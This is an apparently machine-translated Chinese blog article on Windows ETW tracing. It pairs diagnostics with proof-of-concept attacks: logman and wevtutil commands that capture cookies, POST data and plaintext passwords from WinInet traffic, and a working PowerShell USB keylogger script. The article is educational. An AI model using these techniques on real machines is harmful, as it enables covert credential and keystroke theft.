
在以前有关PowerShell嗅探器和从远程服务器收集启动数据的文章中,我已经写了一些有关ETW(Windows事件跟踪)功能的文章。 今天,我想进一步谈谈这项技术。
同时,我将演示如何使用HTTPS和如何在PowerShell上创建键盘记录程序,作为如何良好使用它的示例。 还是不是真的好。
与ETW合作
Windows事件跟踪从Windows系统组件和第三方应用程序收集并发送消息。 它出现在Windows 2000时代,但如果那时有几十个系统提供商,那么他们的分数已经是数百。 消息可方便地用于诊断错误和解决软件性能问题。
默认情况下,某些系统提供程序已经写入Windows事件日志,另外一些则单独提供。 因此,即使您不了解ETW,也可能会使用它。 您可以了解日志,并在必要时在应用程序和服务日志的标准事件查看器中启用其中的一些日志。 有关该杂志及其使用方法的一些信息,可以在文章“ 根据需要旋转日志-Windows系统中的日志分析 ”中找到。
您可以使用logman query provider命令查看只愿意告诉我们发生了什么的现有提供程序的列表 。

ETW提供商。
您可以使用logman query provider -pid <process PID>命令查看连接到特定Windows进程的提供程序列表(因此,您可以了解一些有关此内容的信息) 。

连接到常规笔记本的提供商列表。
您可以启用对特定提供程序事件的订阅,也可以使用New-NetEventSession cmdlet通过PowerShell进行跟踪。 您甚至可以在路径“计算机管理”-“性能”-“数据收集器组”上单击鼠标。 在这里,在事件跟踪会话中,您可以查看正在运行的跟踪,并且可以根据需要创建自己的收集器。

运行痕迹。
您可以使用实用程序和实用程序集(例如Microsoft消息分析器 , Windows Performance Toolkit或PowerShell Get-WinEvent cmdlet) 查看结果 。
我建议您阅读Microsoft文档中的ETW功能,可以从“ 关于事件跟踪”部分开始。 我也可以推荐一些好的材料“ 我们研究ETW并获取利润 ”。
由于ETW在内核级别运行,因此它以消息传输的速度以及无需在应用程序中安装任何驱动程序或注入程序为特征。 通常,ETW用于诊断性能和应用程序问题。 例如,文章“ 加速Windows启动以获取乐趣和利润 ”分析了影响加载速度降低的因素,在文章《 24核CPU而我无法移动鼠标》中 ,这是在正常操作下降低Windows速度的原因。 让我举一个例子-运行PowerShell cmdlet的分析。
观看PowerShell
假设以某种方式(例如,通过对流程启动的审核),您发现计算机上正在运行浆糊的进程和PowerShell脚本。 一种技术是使用ETW分析其活动。 例如,查看PowerShell提供程序。 使用以下命令打开跟踪:
logman start pstrace -p Microsoft-Windows-PowerShell -oc:\temp\pstrace.etl -ets
现在,让我们等到难以理解的脚本完成,使用以下命令停止跟踪:
logman stop pstrace -ets
现在,您可以例如通过Microsoft Message Analyzer查看跟踪。

可疑clean.ps1显然会搜索并删除某些内容。
如果选择所需的行,则在下部面板中将有关于事件的扩展信息。

嗯,这是清除 1C缓存的相同脚本!
这次一切都显得陈旧了。 但是在更复杂的情况下,您可以运行跟踪以检查其他活动:
- 网络活动;
- DNS解析
- 磁盘访问;
- 处理内存;
- WMI活动
- 还有更多。
这样,ETW可以帮助捕获恶意软件并了解应用程序如何工作。 在某些地方,这比通常的Process Monitor更为有用。 但是,除了善举外,该机制还有“黑暗”的一面。
当然,您可以用锤子杀死并用枪保存。 当然,我不会对这些机制进行道德评估,但是无论如何,都会有一些有趣的机会。
我将给出一些示例作为概念验证
S表示安全
在此示例中,我将展示即使通过HTTPS在Internet上查找用户正在寻找的内容也很容易。 您可以在没有PowerShell的情况下看到它-只有鼠标,只有核心。 在我们的任务中,将有一个用户,Windows,Internet Explorer和一个事件日志。
让我们从打开Wininet事件日志开始。 操作如下:打开事件日志,在“查看”选项卡上,启用分析日志和调试日志的显示。

添加所需日志的显示。
之后,启用上下文菜单中的UsageLog,这足以获取必要的信息。 让我们使用IE并查看日志:

WinInet杂志。
实际上,在杂志标题中,可以看到对搜索引擎的直接请求。
除了标题之外,您还可以使用日志来提取Cookie,并同时查看POST请求-例如,提取凭据。 该技术适用于使用wininet.dll与Internet配合使用的任何应用程序。 例如,Edge浏览器。
可以在PowerShell甚至cmd上轻松实现相同的功能。 最后,我将给出一个实现示例。
首先,创建跟踪:
logman start CookieStealer -p Microsoft-Windows-WinInet -oc:\temp\cookiesteal.etl -ets
现在,让我们在浏览器中工作,检查邮件。 然后可以使用以下命令停止跟踪:
logman stop CookieStealer -ets
可以使用wevtutil.exe命令实用程序完成最简单的分析。 例如,要查看POST请求,命令将为:
wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST"
您甚至可以随机尝试搜索密码一词并获得结果。

密码为纯文本。 很烦人
值得注意的是,防病毒软件在同一时间处于静默状态。 确实,这是一个正常的跟踪过程。
当然,WinInet事件也可以用于诊断诸如“为什么此站点无法打开以及根本发生了什么”之类的问题。 然而,可能性是非常有趣的。 我转向一个更加扭曲的例子。
PowerShell上的键盘记录器。 因为我可以。
Windows上有两个有趣的ETW提供程序:
在他们的帮助下,您可以获得USB设备(例如键盘或鼠标)传输的HID数据。 数据是原始捕获的,但是由于HID 规范,它可以轻松读取。
要开始跟踪,只需执行以下命令:
logman start "usbtrace" -p "microsoft-windows-usb-usbport" -o "c:\temp\usbtrace.etl" -ets
并且可以使用PowerShell cmdlet获取数据:
$Input=get-winevent –path "c:\temp\usbtrace.etl" –oldest | where {$_.message –match "Data"}
我将给出一个简单脚本的示例,该脚本读取跟踪数据并将其转换为可读值。 仅对英文字母进行转换,而仅对大写字母进行转换。
剧透下脚本的完整列表。 $source = "C:\temp\trace.etl" $destination= "C:\temp\Output.txt" $tracetime = "10" logman start usbtrace -p microsoft-windows-usb-usbport -o $source -ets sleep $TraceTime logman stop usbtrace -ets $Input=get-winevent –path $Source –oldest | where {$_.message –match "Data"} $HID = Foreach ($I in $Input) {('{0:x}' -f ($I.properties.value[5]))} $Data=switch ($HID) { 4 {"A"} 5 {"B"} 6 {"C"} 7 {"D"} 8 {"E"} 9 {"F"} A {"G"} B {"H"} C {"I"} D {"J"} E {"K"} F {"L"} 10 {"M"} 11 {"N"} 12 {"O"} 13 {"P"} 14 {"Q"} 15 {"R"} 16 {"S"} 17 {"T"} 18 {"U"} 19 {"V"} 1A {"W"} 1B {"X"} 1C {"Y"} 1D {"Z"} } $Data | out-file "$Destination" get-content "$Destination" del "$source" del "$Destination"
启动后,脚本将打开跟踪10秒钟,然后显示结果。

脚本的结果。
当然,在了解了HID数据之后,您可以将脚本优化为一个完整的键盘记录程序,该记录程序可以记录来自键盘和鼠标的数据。 值得注意的是此机制的局限性:
- 仅适用于USB,并且不支持PS \ 2(有时在笔记本电脑中可以找到);
- 仅在Windows 8及更高版本中宣布USB 3.0支持。
- 需要管理员权限(UAC)。
但是没有驱动程序和拦截器。 好吧,当然,除了恶意使用外,这种键盘记录程序还可以帮助诊断键盘问题。 从理论上讲。
我需要害怕吗
即使是小人手中的内置机制也可能造成麻烦。 保护方法保持不变:不从系统目录阻止可执行文件,不以具有管理员特权的用户身份运行,并且如果它们起作用,至少不禁用UAC。 而且,当然,内置Windows浏览器在安全性方面引起了疑问。